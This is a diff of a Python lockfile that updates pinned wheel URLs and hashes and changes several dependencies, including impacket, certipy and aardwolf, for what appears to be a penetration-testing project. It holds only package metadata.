{ url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" },
{ url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" },
{ url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" },
{ url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" },
@@ -729,10 +696,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" },
{ url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" },
{ url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" },
{ url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" },
{ url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" },
{ url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" },
{ url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" },
]
[[package]]
@@ -773,18 +736,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
]
[[package]]
name = "exceptiongroup"
version = "1.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
]
[[package]]
name = "flake8"
version = "7.3.0"
@@ -822,13 +773,6 @@ version = "3.5.5"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" },
{ url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" },
{ url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" },
{ url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" },
{ url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" },
{ url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" },
{ url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" },
{ url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" },
{ url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" },
{ url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" },
@@ -934,8 +878,8 @@ wheels = [
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260909.31915.a2d35007"
source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" }
version = "0.14.0.dev0+20261015.95810.75938fcb"
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
dependencies = [
{ name = "charset-normalizer" },
{ name = "flask" },
@@ -1046,22 +990,6 @@ version = "6.1.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" },
{ url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" },
{ url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" },
{ url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" },
{ url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" },
{ url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" },
{ url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" },
{ url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" },
{ url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" },
{ url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" },
{ url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" },
{ url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" },
{ url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" },
{ url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" },
{ url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" },
{ url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" },
{ url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" },
{ url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" },
{ url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" },
@@ -1176,17 +1104,6 @@ version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" },
{ url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" },
{ url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" },
{ url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" },
{ url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" },
{ url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" },
{ url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" },
{ url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" },
{ url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" },
{ url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" },
{ url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" },
{ url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" },
{ url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" },
{ url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" },
@@ -1366,7 +1283,7 @@ dependencies = [
{ name = "beautifulsoup4" },
{ name = "bloodhound-ce" },
{ name = "certihound" },
{ name = "certipy-ad" },
{ name = "certipy-nxc" },
{ name = "cryptography" },
{ name = "dploot" },
{ name = "dsinternals" },
@@ -1404,13 +1321,13 @@ dev = [
[package.metadata]
requires-dist = [
{ name = "aardwolf", specifier = ">=0.2.8" },
{ name = "aardwolf", specifier = ">=0.2.16" },
{ name = "argcomplete", specifier = ">=3.1.4" },
{ name = "asyauth", specifier = ">=0.0.20" },
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
{ name = "certihound", specifier = ">=0.1.1" },
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
{ name = "cryptography", specifier = ">=42.0.8" },
{ name = "dploot", specifier = ">=4.0.0" },
{ name = "dsinternals", specifier = ">=1.2.4" },
@@ -1515,15 +1432,6 @@ version = "12.3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" },
{ url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" },
{ url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" },
{ url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" },
{ url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" },
{ url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" },
{ url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" },
{ url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" },
{ url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" },
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
@@ -1688,11 +1596,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" },
